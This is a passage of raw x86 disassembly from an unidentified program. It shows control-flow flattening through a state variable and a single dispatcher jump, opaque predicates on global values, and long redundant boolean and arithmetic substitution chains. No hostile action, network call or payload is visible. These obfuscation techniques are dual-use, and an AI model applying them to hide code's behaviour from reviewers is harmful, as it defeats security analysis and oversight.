and ah, 1
mov dh, 1
xor dh, 1
and dl, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or ah, dl
or al, cl
xor ah, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov bl, 1
xor bl, 0
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov bh, 1
xor bh, 0
and bh, 0
mov cl, 1
xor cl, 0
mov dl, cl
and dl, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or bh, dl
or al, cl
xor bh, al
mov dh, 1
xor dh, 0
mov cl, bh
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, 1
xor al, 1
and al, 1
mov byte [ebp - 0x3c2], al
mov dl, 1
xor dl, 1
mov cl, dl
and cl, 1
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x3c1], al
mov al, byte [ebp - 0x3c2]
and dl, 1
or al, cl
mov cl, byte [ebp - 0x3c1]
or cl, dl
xor al, cl
xor al, 0xff
mov cl, 1
xor cl, 0
mov dl, 1
xor dl, 0
or al, cl
mov cl, byte [ebp - 0x3c0]
or dl, 0
xor al, 0xff
and al, dl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov dl, bl
and dl, dh
xor bl, dh
mov dh, byte [ebp - 0x3ad]
or dl, bl
mov bl, al
and bl, bh
xor al, bh
or bl, al
mov bh, dl
xor bh, 0xff
mov al, bl
and al, bh
xor bl, 0xff
and dl, bl
or al, dl
mov byte [ebp - 0x3ac], al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov dl, bh
xor dl, 0xff
and dl, 0
and bh, bl
mov bl, byte [ebp - 0x3ac]
or al, dh
mov dh, byte [ebp - 0x3ad]
or dl, bh
xor al, dl
xor al, 0xff
xor dh, 0xff
mov dl, 1
xor dl, 0
or al, dh
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0x3bd], al
mov dl, bl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or dl, bl
or al, dh
xor dl, al
mov bl, cl
xor bl, 0xff
and bl, 0
mov bh, 1
xor bh, 0
mov dh, cl
and dh, bh
mov al, dl
xor al, 0xff
and al, 0
and dl, bh
or bl, dh
or al, dl
xor bl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov dl, ah
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov dh, ah
and dh, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, dh
or al, cl
xor dl, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov cl, 1
xor cl, 1
and cl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 1
mov byte [ebp - 0x3bf], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x3be], al
mov al, byte [ebp - 0x3bf]
and bh, 1
or cl, al
mov al, byte [ebp - 0x3be]
or al, bh
xor cl, al
mov al, dl
and al, dh
xor dl, dh
or al, dl
mov dh, cl
and dh, 1
xor cl, 1
or dh, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
and al, bh
mov cl, 1
xor cl, 1
and cl, 0xff
and bh, 1
or dl, al
mov al, byte [ebp - 0x3ac]
or cl, bh
xor dl, cl
xor dh, 0xff
mov cl, dl
xor cl, dh
and cl, dl
mov byte [ebp - 0x3af], cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov al, ch
xor al, 0xff
and al, 1
mov cl, 1
xor cl, 1
mov bh, ch
and bh, cl
mov dl, dh
xor dl, 0xff
and dl, 0xff
and dh, cl
mov cl, byte [ebp - 0x3bd]
or al, bh
or dl, dh
xor al, dl
xor ch, 0xff
mov dl, al
xor dl, ch
and dl, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and cl, ch
or al, cl
mov byte [ebp - 0x3b4], al
mov dh, bl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or dh, al
mov cl, 1
xor cl, 0
and cl, 0
mov bh, 1
xor bh, 0
mov al, bh
and al, 0
mov ch, 1
xor ch, 1
and ch, 0
and bh, 1
or cl, al
mov al, byte [ebp - 0x3bd]
or ch, bh
mov bh, byte [ebp - 0x3b4]
xor cl, ch
mov byte [ebp - 0x3b5], cl
mov cl, 1
xor cl, 0
mov ch, bh
xor ch, cl
mov cl, byte [ebp - 0x3b5]
and ch, bh
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov cl, dh
xor cl, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x3bc], al
mov al, 1
xor al, 1
mov byte [ebp - 0x3bb], al
mov al, byte [ebp - 0x3bc]
or cl, al
mov al, byte [ebp - 0x3bb]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x3b5]
mov byte [ebp - 0x3ba], cl
xor al, 0xff
mov cl, bl
xor cl, al
mov al, byte [ebp - 0x3ba]
and cl, bl
mov bl, ch
and bl, bh
xor ch, bh
or bl, ch
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x3b6], bh
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x3b7], ch
mov ch, 1
xor ch, 1
and bh, 0xff
and al, ch
mov byte [ebp - 0x3b9], al
mov al, byte [ebp - 0x3b7]
and al, 0xff
mov byte [ebp - 0x3b8], al
mov al, byte [ebp - 0x3b9]
and cl, ch
or bh, al
mov al, byte [ebp - 0x3b8]
or al, cl
mov cl, byte [ebp - 0x3b7]
xor bh, al
mov al, byte [ebp - 0x3b6]
or al, cl
mov cl, byte [ebp - 0x3b5]
xor al, 0xff
or ch, 1
and al, ch
or bh, al
mov al, bl
xor al, 0xff
mov ch, bh
and ch, al
mov al, byte [ebp - 0x3b4]
xor bh, 0xff
and bl, bh
or ch, bl
mov bh, al
and bh, dh
xor al, dh
or bh, al
mov dh, bh
xor dh, 0xff
and dh, 0
mov bl, 1
xor bl, 0
and bh, bl
mov al, 1
xor al, 1
and al, 0
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov bl, 1
xor bl, 0
mov byte [ebp - 0x3b0], bl
mov al, cl
xor al, 0xff
mov byte [ebp - 0x3b1], al
mov bh, 1
xor bh, 1
and bl, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0x3b3], al
mov al, byte [ebp - 0x3b1]
and al, 0xff
mov byte [ebp - 0x3b2], al
mov al, byte [ebp - 0x3b3]
and cl, bh
or bl, al
mov al, byte [ebp - 0x3b2]
or al, cl
mov cl, byte [ebp - 0x3b1]
xor bl, al
mov al, byte [ebp - 0x3b0]
or al, cl
mov cl, byte [ebp - 0x3af]
xor al, 0xff
or bh, 1
and al, bh
or bl, al
xor dh, 0xff
xor bl, 0xff
mov al, 1
xor al, 1
or dh, bl
or al, 1
xor dh, 0xff
and dh, al
mov al, ch
and al, dh
xor ch, dh
or al, ch
mov byte [ebp - 0x3ae], al
mov al, cl
xor al, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
or al, dh
or ch, 1
xor al, 0xff
and al, ch
mov ch, cl
xor ch, 0xff
mov bh, dl
and bh, ch
xor dl, 0xff
and cl, dl
or bh, cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, dl
and cl, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or cl, al
mov al, byte [ebp - 0x3ae]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
mov bl, al
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or dl, bl
or ch, dh
xor dl, ch
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
and ch, 1
or bh, ch
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, ch
and bl, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov ch, cl
and ch, dh
or al, ch
xor al, 0xff
mov ch, 1
xor ch, 1
mov dh, 1
xor dh, 0
or al, ch
mov ch, byte [ebp - 0x3ad]
or dh, 0
xor al, 0xff
and al, dh
xor cl, 0xff
xor bh, 0xff
mov dh, 1
xor dh, 1
or cl, bh
or dh, 1
xor cl, 0xff
and cl, dh
mov dh, dl
and dh, bl
xor dl, bl
or dh, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, bl
or al, dh
or cl, dl
xor al, cl
mov dl, ah
xor dl, 0xff
mov cl, ch
xor cl, dl
and cl, ch
mov bh, ch
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or bh, ch
or dl, ah
xor bh, dl
mov ah, cl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
and cl, ch
mov bl, dh
and bl, 0
and bh, ch
or dl, cl
mov cl, byte [ebp - 0x3ac]
or bl, bh
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov ch, dl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov ah, dl
and ah, dh
or ch, ah
xor ch, 0xff
xor ch, 0
and ch, 0
mov ah, 1
xor ah, 0
and ah, 1
mov dh, 1
xor dh, 1
and dh, 0
or ah, dh
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, dh
and bl, dl
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
and dh, 1
or dl, dh
xor dl, 0xff
mov bh, 1
xor bh, 0
mov dh, 1
xor dh, 1
or dl, bh
or dh, 1
xor dl, 0xff
and dl, dh
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, dl
and ch, ah
xor dl, ah
or ch, dl
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bl
or dl, dh
or ah, ch
xor dl, ah
mov ah, 1
xor ah, 0
mov dh, cl
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov dh, 1
xor dh, 0
mov ch, cl
and ch, dh
xor cl, 0xff
and cl, 0
or ch, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and cl, ch
or ah, cl
mov cl, dl
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
mov cl, dl
and cl, ah
or ch, cl
xor ch, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or ch, dl
or cl, 1
xor ch, 0xff
and ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or cl, dl
mov byte [ebp - 0x3ab], cl
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov ah, ch
and ah, dh
or dl, ah
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
or bh, ah
mov dh, 1
xor dh, 0
mov ah, cl
xor ah, dh
and ah, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov cl, dl
xor cl, 0xff
mov dh, 1
xor dh, 0
mov al, 1
xor al, 1
or cl, dh
or al, 1
xor cl, 0xff
and cl, al
mov al, bh
xor al, 0xff
mov dh, ch
xor dh, al
mov al, byte [ebp - 0x3ab]
and dh, ch
mov ch, ah
and ch, bl
xor ah, bl
or ch, ah
mov ah, cl
and ah, dh
xor cl, dh
or ah, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or bl, ch
or cl, ah
xor bl, cl
mov cl, al
and cl, dl
xor al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x3aa], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 0
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x3aa]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x55117368
mov ecx, 0xc6f7fc1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov dword [ebp - 0x1ec], 0x7ca4de1f
jmp 0x48b820
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0x1c]
mov ecx, dword [ebp - 0x124]
add ecx, 0x33e4d10e
sub ecx, 0x793fdbdd
sub ecx, 0x33e4d10e
xor edx, edx
sub edx, 0x2ef6b2c9
add ecx, edx
xor edx, edx
sub edx, 0x793fdbdd
sub ecx, edx
sub ecx, 0x4580b444
add ecx, 0x6a02b22e
add ecx, 0x4580b444
add ecx, 0xb175f296
sub ecx, eax
sub ecx, 0xb175f296
sub ecx, 0xc5651695
sub ecx, 0x6a02b22e
add ecx, 0xc5651695
xor eax, eax
sub eax, ecx
add eax, 0
mov edx, 0x52e2a7fd
add edx, 0
sub edx, 0x2ef6b2c9
sub edx, 0x52e2a7fd
xor ecx, ecx
sub ecx, edx
sub eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0
mov eax, dword [ebp - 0x1c8]
mov dword [eax], ecx
mov edx, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x6c]
sub edx, 0xa0c6de46
sub edx, 0x9c914dd0
add edx, 0xa0c6de46
sub edx, 0xf3fa757b
sub edx, 0xc7e3fc2e
add edx, 0xf3fa757b
sub edx, 0xe519dce
add edx, 0x9c914dd0
add edx, 0xe519dce
mov eax, 0xfda1a0fa
add eax, 0
sub eax, edx
sub eax, 0xfda1a0fa
xor edx, edx
sub edx, 0xbda884cd
sub edx, ecx
add edx, 0xbda884cd
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x3829b37f
sub ecx, eax
add ecx, 0x3829b37f
add ecx, 0x34fd8124
sub ecx, 0x89f73aba
sub ecx, 0x34fd8124
sub ecx, 0x775c3b4d
add ecx, 0xc7e3fc2e
add ecx, 0x775c3b4d
sub ecx, 0xb237a914
add ecx, 0x89f73aba
add ecx, 0xb237a914
mov eax, dword [ebp - 0x1c4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c0]
mov dword [eax], 0
mov dword [ebp - 0x1ec], 0xa9dfe562
jmp 0x48b820
mov eax, dword [ebp - 0x1c0]
mov eax, dword [eax]
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x1ec], 0xec78dd11
jmp 0x48b820
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x11c]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x115], al
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor esi, esi
sub esi, 0x7c0cd805
mov edx, ecx
sub edx, esi
add edx, 0x26564aac
add edx, 0x443f29e7
sub edx, 0x26564aac
add edx, 0x5e83ee32
sub edx, 0x7c0cd805
sub edx, 0x5e83ee32
xor esi, esi
sub esi, 1
add esi, 0
add edx, 0x9a61e921
add edx, esi
sub edx, 0x9a61e921
mov esi, 0xea5b48be
add esi, 0
sub esi, 0x443f29e7
sub esi, 0xea5b48be
add edx, 0x4430a6b2
add edx, esi
sub edx, 0x4430a6b2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl bl
mov ah, bl
xor ah, 0xff
and ah, 0
mov cl, 1
xor cl, 0
mov ch, bl
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, dl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
mov ch, dl
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0
and ah, dh
or al, ch
or cl, ah
xor al, cl
mov ah, dl
xor ah, 0xff
mov cl, al
xor cl, ah
and cl, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, dl
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
xor ah, 0xff
mov al, bl
xor al, ah
and al, bl
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or ch, bl
or ah, dh
xor ch, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ch, al
mov byte [ebp - 0x3c9], ch
mov ah, bl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov dh, bl
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, dh
or al, dl
xor ah, al
mov dl, 1
xor dl, 1
and dl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or dl, bh
or al, dh
xor dl, al
mov dh, 1
xor dh, 1
mov al, ch
xor al, dh
and al, ch
xor cl, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 0
or cl, dh
or ch, 0
xor cl, 0xff
and cl, ch
mov ch, ah
xor ch, 0xff
mov bh, 1
xor bh, 1
mov dh, 1
xor dh, 0
or ch, bh
or dh, 0
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x3c7], ch
xor bl, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
or bl, dh
or ch, 1
xor bl, 0xff
and bl, ch
mov dh, al
xor dh, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x3c8], ch
mov bh, 1
xor bh, 1
mov ch, dh
and ch, 0xff
and al, bh
mov byte [ebp - 0x3cb], al
mov al, byte [ebp - 0x3c8]
and al, 0xff
mov byte [ebp - 0x3ca], al
mov al, byte [ebp - 0x3cb]
and cl, bh
or ch, al
mov al, byte [ebp - 0x3ca]
or al, cl
mov cl, byte [ebp - 0x3c9]
xor ch, al
mov al, byte [ebp - 0x3c8]
or dh, al
mov al, byte [ebp - 0x3c7]
xor dh, 0xff
or bh, 1
and dh, bh
or ch, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov bl, ch
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ch, dh
or al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd32836ee
mov ecx, 0xddd3053f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov edx, dword [ebp - 0x114]
mov esi, dword [ebp - 0x110]
mov eax, 0xd67370a0
mov ecx, 0xd95abec1
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov edx, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x100]
xor esi, esi
sub esi, 0
xor eax, eax
sub eax, 0xad859f0b
add esi, eax
xor eax, eax
sub eax, esi
add eax, 0xdbdf1a37
sub eax, edx
sub eax, 0xdbdf1a37
xor edx, edx
sub edx, 0xad859f0b
add eax, edx
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 0x7bf72488
add edx, ecx
xor ecx, ecx
sub ecx, edx
add ecx, 0xdb3bffec
sub ecx, eax
sub ecx, 0xdb3bffec
xor eax, eax
sub eax, 0x7bf72488
add ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x1ec], 0x1f59d023
jmp 0x48b820
mov ecx, dword [ebp - 0xfc]
add ecx, 2
mov eax, dword [ebp - 0x1b4]
mov dword [eax], ecx
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
xor edi, edi
sub edi, 0x5d135ee
sub edi, 1
add edi, 0x5d135ee
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
mov edx, ecx
sub edx, 0xeded74ce
sub edx, 0x79a60e3d
add edx, 0xeded74ce
add edx, 0x250b189a
add edx, esi
sub edx, 0x250b189a
sub edx, 0xcb9a5702
add edx, 0x79a60e3d
add edx, 0xcb9a5702
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ch
mov ah, ch
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or ah, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
mov dh, cl
and dh, bl
mov al, ah
xor al, 0xff
and al, 0
and ah, bl
or dl, dh
or al, ah
xor dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov ah, cl
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
mov bl, cl
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ah, bl
or dl, dh
xor ah, dl
xor ah, 0xff
xor ah, 0
and ah, 0
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
and dl, 0
or bl, dl
mov dl, bl
xor dl, 0xff
mov dh, cl
xor dh, dl
and dh, cl
mov dl, ch
xor dl, 0xff
and dl, 1
mov bh, 1
xor bh, 1
mov cl, ch
and cl, bh
or dl, cl
mov bh, 1
xor bh, 0
mov cl, dl
xor cl, bh
and cl, dl
xor bl, 0xff
mov dl, ch
xor dl, bl
and dl, ch
mov ch, ah
and ch, dh
xor ah, dh
or ch, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov ch, al
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov dh, al
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or ch, dh
or dl, ah
xor ch, dl
mov byte [ebp - 0x48c], ch
mov dl, cl
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov ah, cl
and ah, dh
or dl, ah
mov bl, 1
xor bl, 1
and bl, 1
mov ah, 1
xor ah, 1
and ah, 1
or bl, ah
mov byte [ebp - 0x48b], bl
mov dh, 1
xor dh, 1
mov ah, ch
xor ah, dh
and ah, ch
mov dh, bl
xor dh, 0xff
mov ch, al
xor ch, dh
and ch, al
mov al, dl
xor al, 0xff
mov bh, 1
xor bh, 1
mov dh, 1
xor dh, 1
or al, bh
or dh, 1
xor al, 0xff
and al, dh
xor cl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 1
or cl, bl
or dh, 1
xor cl, 0xff
and cl, dh
mov dh, ah
and dh, ch
xor ah, ch
or dh, ah
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ch, ah
and ch, 0
and al, bl
mov byte [ebp - 0x48e], al
mov al, bh
and al, 0
mov byte [ebp - 0x48d], al
mov al, byte [ebp - 0x48e]
and cl, bl
or ch, al
mov al, byte [ebp - 0x48d]
or al, cl
mov cl, byte [ebp - 0x48c]
xor ch, al
mov al, byte [ebp - 0x48b]
or ah, bh
xor ah, 0xff
or bl, 0
and ah, bl
or ch, ah
mov bl, dh
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
and dh, bh
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, bh
or bl, dh
or ah, ch
xor bl, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dh, ah
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3e2f0bea
mov ecx, 0x629ed4a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov dword [ebp - 0x1ec], 0x36cdeee7
jmp 0x48b820
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
mov esi, 0x29b10c1b
add esi, 0
sub esi, 0x8224d9ba
sub esi, 0x29b10c1b
mov edx, ecx
sub edx, 0x312521e8
add edx, esi
add edx, 0x312521e8
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xe436a170
add esi, edx
xor edx, edx
sub edx, esi
add edx, 0xfb113a1b
sub edx, 1
sub edx, 0xfb113a1b
xor esi, esi
sub esi, 0xe436a170
add edx, esi
mov esi, 0xd360ef4a
add esi, 0
sub esi, edx
sub esi, 0xd360ef4a
mov edx, 0xc6e04864
add edx, 0
sub edx, 0x8224d9ba
sub edx, 0xc6e04864
add esi, 0x952aae69
add esi, edx
sub esi, 0x952aae69
mov edx, 0xc910b75f
add edx, 0
sub edx, esi
sub edx, 0xc910b75f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl al
mov byte [ebp - 0x565], al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, dh
and al, dl
or cl, al
mov bh, 1
xor bh, 0
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov cl, ah
xor cl, 0xff
mov al, dh
xor al, cl
and al, dh
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov ch, 1
xor ch, 0
mov cl, dl
xor cl, ch
and cl, dl
mov byte [ebp - 0x571], cl
mov dl, 1
xor dl, 1
xor ah, 0xff
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
and bh, ch
mov byte [ebp - 0x573], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x572], al
mov al, byte [ebp - 0x573]
or cl, al
mov al, byte [ebp - 0x572]
or bh, al
mov al, byte [ebp - 0x571]
xor cl, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov byte [ebp - 0x570], cl
mov ah, al
xor ah, 0xff
mov bl, dl
xor bl, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
and al, ch
mov bh, bl
and bh, 0
and dl, ch
or cl, al
mov al, byte [ebp - 0x570]
or bh, dl
mov dl, byte [ebp - 0x565]
xor cl, bh
or ah, bl
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
mov bh, cl
and bh, ah
xor cl, 0xff
and al, cl
or bh, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov cl, 1
xor cl, 1
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
xor dl, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or dl, ah
or al, 1
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x54d], al
mov al, 1
xor al, 1
and al, 0
mov dl, 1
